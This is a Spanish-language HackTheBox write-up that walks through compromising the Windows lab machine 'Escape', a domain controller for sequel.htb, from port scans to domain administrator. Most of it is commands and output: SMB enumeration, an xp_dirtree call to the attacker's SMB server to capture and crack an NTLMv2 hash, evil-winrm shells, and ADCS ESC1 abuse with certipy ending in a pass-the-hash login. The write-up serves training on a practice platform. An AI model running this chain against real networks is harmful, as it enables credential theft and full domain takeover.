Escape es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Escape 10.10.11.202 a /etc/hosts como escape.htb y comenzamos con el escaneo de puertos nmap.
Realizamos un primer escaneo rápido para detectar los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.202 Nmap scan report for 10.10.11.202 Host is up, received user-set (0.047s latency). Scanned at 2023-06-08 07:18:36 GMT for 27s Not shown: 65516 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 1433/tcp open ms-sql-s syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49689/tcp open unknown syn-ack ttl 127 49690/tcp open unknown syn-ack ttl 127 49715/tcp open unknown syn-ack ttl 127 49719/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Jun 8 07:19:03 2023 -- 1 IP address (1 host up) scanned in 26.48 seconds |
Y continuamos con un escaneo completo sobre los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
$ nmap -sCV -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49715,49719 -Pn -oA enumeration/nmap2 10.10.11.202 Nmap scan report for 10.10.11.202 Host is up (0.037s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-08 15:21:00Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-06-08T15:22:29+00:00; +7h59m57s from scanner time. | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 |_ssl-date: 2023-06-08T15:22:29+00:00; +7h59m57s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2023-06-08T15:22:29+00:00; +7h59m57s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-06-08T15:17:54 |_Not valid after: 2053-06-08T15:17:54 | ms-sql-info: | 10.10.11.202:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.10.11.202:1433: | Target_Name: sequel | NetBIOS_Domain_Name: sequel | NetBIOS_Computer_Name: DC | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: dc.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 |_ssl-date: 2023-06-08T15:22:29+00:00; +7h59m57s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2023-06-08T15:22:29+00:00; +7h59m57s from scanner time. | ssl-cert: Subject: commonName=dc.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb | Not valid before: 2022-11-18T21:20:35 |_Not valid after: 2023-11-18T21:20:35 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49690/tcp open msrpc Microsoft Windows RPC 49715/tcp open msrpc Microsoft Windows RPC 49719/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2023-06-08T15:21:53 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m56s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jun 8 07:22:32 2023 -- 1 IP address (1 host up) scanned in 97.69 seconds |
Enumeración
Vemos muchos servicios abiertos en el escaneo así que vamos a ir por partes.
Empezaremos revisando el smb, en el cual podemos listar sin necesidad de tener credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ smbclient -L //10.10.11.202/ -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Public Disk SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.202 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available |
Revisamos las unidades existentes y encontramos un pdf en el punto Public, así que procedemos a su descarga
|
1 2 3 4 5 6 7 8 9 10 11 |
$ smbclient //10.10.11.202/Public/ -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Nov 19 11:51:25 2022 .. D 0 Sat Nov 19 11:51:25 2022 SQL Server Procedures.pdf A 49551 Fri Nov 18 13:39:43 2022 5184255 blocks of size 4096. 1450140 blocks available smb: \> get "SQL Server Procedures.pdf" getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (205,0 KiloBytes/sec) (average 205,0 KiloBytes/sec) smb: \> quit |
Si abrimos y revisamos el mismo encontraremos información del servidor de base de datos
Y encontramos unas credenciales en la segunda página
Por lo que indica son las credenciales del servidor de base de datos así que vamos a acceder al mismo.
Obtención de credenciales del usuario sql_svc
Nos conectaremos al servidor de sql server con las credenciales existentes en el pdf
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ impacket-mssqlclient sequel/PublicUser:GuestUserCantWrite1@sequel.htb Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL> |
Y después de hacer algunas pruebas, vamos a utilizar xp_dirtree para forzar una autenticación y obtener el hash del usuario que gestiona el servidor.
Para ello, en primer lugar, levantaremos un servidor smb para obtener el hash
|
1 2 3 4 5 6 7 8 9 |
$ impacket-smbserver `pwd` . -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed |
Y lanzaremos xp_dirtree contra el mismo
|
1 2 3 4 5 6 |
SQL> xp_dirtree '//10.10.14.10/asdf' subdirectory depth --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------- SQL> |
Al momento tendremos el hash del usuario sql_svc en nuestro smb
|
1 2 3 4 5 6 |
[*] Incoming connection (10.10.11.202,56289) [*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC) [*] User DC\sql_svc authenticated successfully [*] sql_svc::sequel:aaaaaaaaaaaaaaaa:ad9c30571b5e539f2a954dc73ec803a0:010100000000000080112b47dc99d901a55041a8d692a8650000000001001000440067006c005900510044005a00540003001000440067006c005900510044005a005400020010004400730078006300630071007100530004001000440073007800630063007100710053000700080080112b47dc99d90106000400020000000800300030000000000000000000000000300000684034b8c51cd560f84fba2340d6727e24f22268cd30c807ba1deabce541fe170a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310030000000000000000000 [*] Closing down connection (10.10.11.202,56289) [*] Remaining connections [] |
Es el momento de sacar john para romper el hash y obtener las credenciales en plano
|
1 2 3 4 5 6 7 8 9 |
$ john sql_svc --format=netntlmv2 -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status REGGIE1234ronnie (sql_svc) 1g 0:00:00:27 DONE (2023-06-08 07:52) 0.1100g/s 392689p/s 1178Kc/s 1178KC/s REINLY..REDMAN69 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. |
Ya tenemos unas credenciales así que vamos a enumerar los usuarios del sistema aprovechando que también se encuentra abierto el puerto de rpc
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ rpcclient -U sql_svc 10.10.11.202 Password for [WORKGROUP\sql_svc]: rpcclient $> enumdo enumdomains enumdomgroups enumdomusers rpcclient $> enumdo enumdomains enumdomgroups enumdomusers rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[Tom.Henn] rid:[0x44f] user:[Brandon.Brown] rid:[0x450] user:[Ryan.Cooper] rid:[0x451] user:[sql_svc] rid:[0x452] user:[James.Roberts] rid:[0x453] user:[Nicole.Thompson] rid:[0x454] rpcclient $> enumdomains name:[sequel] idx:[0x0] name:[Builtin] idx:[0x0] rpcclient $> |
Escalado al usuario Ryan.Cooper
Accedemos al servidor con las credenciales obtenidas y la herramienta evil-winrm
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i 10.10.11.202 -u sql_svc -p "REGGIE1234ronnie" Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami sequel\sql_svc |
Enumeramos la máquina y revisamos los directorios existentes y encontramos un fichero de log en el directorio SQLServer en la raíz del disco C
|
1 2 3 4 5 6 7 8 9 |
*Evil-WinRM* PS C:\SQLServer\Logs> dir Directory: C:\SQLServer\Logs Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK |
Y encontramos unas credenciales en el fichero de log
|
1 2 3 4 5 |
*Evil-WinRM* PS C:\SQLServer\Logs> Select-String "Password" ERRORLOG.BAK ERRORLOG.BAK:70:2022-11-18 13:43:06.75 spid18s Password policy update was successful. ERRORLOG.BAK:112:2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] ERRORLOG.BAK:114:2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] |
Así que utilizamos las mismas para conectarnos con el usuario Ryan.Cooper
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p 'NuclearMosquito3' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami sequel\ryan.cooper |
Obteniendo la flag de user
Estando con el usuario Ryan.Cooper, vamos a su escritorio y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cd .. *Evil-WinRM* PS C:\Users\Ryan.Cooper> cd desktop *Evil-WinRM* PS C:\Users\Ryan.Cooper\desktop> dir Directory: C:\Users\Ryan.Cooper\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/8/2023 8:18 AM 34 user.txt *Evil-WinRM* PS C:\Users\Ryan.Cooper\desktop> type user.txt b2xxxxxxxxxxxxxxxxxxxxxxxxxxxa8 *Evil-WinRM* PS C:\Users\Ryan.Cooper\desktop> |
Escalado de privilegios
Para el escalado de privilegios al usuario Administrator, lanzamos winpeas y encontramos que la autenticación la realiza mediante certificados con kerberos
Así que vamos a comprobar si el sistema dispone de plantillas vulnerables que podamos utilizar para la escalada de privilegios. Buscamos en google y encontramos un post que explica como detectar y explotar esta vulnerabilidad.
Enumeraremos los certificados existentes
|
1 2 3 4 5 6 7 8 |
*Evil-WinRM* PS C:\Users\Ryan.Cooper\desktop> Get-ChildItem cert:\ Location : CurrentUser StoreNames : {ACRS, SmartCardRoot, Root, Trust...} Location : LocalMachine StoreNames : {TestSignRoot, ClientAuthIssuer, Root, TrustedDevices...} |
Y utilizaremos la herramienta certipy para verificar si disponde de alguna plantilla vulnerable
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
$ certipy find -vulnerable -stdout -u Ryan.Cooper@sequel.htb -p NuclearMosquito3 -dc-ip 10.10.11.202 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA [!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'sequel-DC-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for 'sequel-DC-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC-CA DNS Name : dc.sequel.htb Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101 Certificate Validity Start : 2022-11-18 20:58:46+00:00 Certificate Validity End : 2121-11-18 21:08:46+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTB\Administrators Access Rights ManageCa : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins ManageCertificates : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Enroll : SEQUEL.HTB\Authenticated Users Certificate Templates 0 Template Name : UserAuthentication Display Name : UserAuthentication Certificate Authorities : sequel-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Secure Email Encrypting File System Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 10 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Domain Users SEQUEL.HTB\Enterprise Admins Object Control Permissions Owner : SEQUEL.HTB\Administrator Write Owner Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator Write Dacl Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator Write Property Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator [!] Vulnerabilities ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication |
Y, en efecto, la hay, así que vamos a solicitar un certificado nuevo para el usuario administrator
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ certipy req -u Ryan.Cooper@sequel.htb -p NuclearMosquito3 -target 10.10.11.202 -template UserAuthentication -ca sequel-DC-CA -upn Administrator@sequel.htb -debug Certipy v4.4.0 - by Oliver Lyak (ly4k) [+] Trying to resolve 'SEQUEL.HTB' at '127.0.0.1' [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.202[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.202[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 11 [*] Got certificate with UPN 'Administrator@sequel.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx' |
Ahora que ya tenemos un certificado válido, ajustamos la hora de nuestro kali con el de la máquina víctima (para evitar quebraderos de cabeza innecesarios)
|
1 2 |
$ sudo rdate -n 10.10.11.202 Thu Jun 8 16:25:29 GMT 2023 |
Y nos autenticamos, obteniendo con ello el hash del usuario administrator
|
1 2 3 4 5 6 7 8 9 |
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.202 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@sequel.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sequel.htb': aaxxxxxxxxxxxxxxxxxxxxxxxxxxee:a5xxxxxxxxxxxxxxxxxxxxxxxxxxxxee |
Para verificar que el mismo funciona, nos conectamos con el usuario administrator
|
1 2 3 4 5 6 7 8 9 10 11 |
$ evil-winrm -i 10.10.11.202 -u administrator -H a5xxxxxxxxxxxxxxxxxxxxxxxxxxxxee Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami sequel\administrator |
Obteniendo la flag de Administrator
Estando dentro, vamos al escritorio del usuario y cogemos nuestra flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> dir Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/8/2023 8:18 AM 34 root.txt *Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt ecxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxe7 *Evil-WinRM* PS C:\Users\Administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
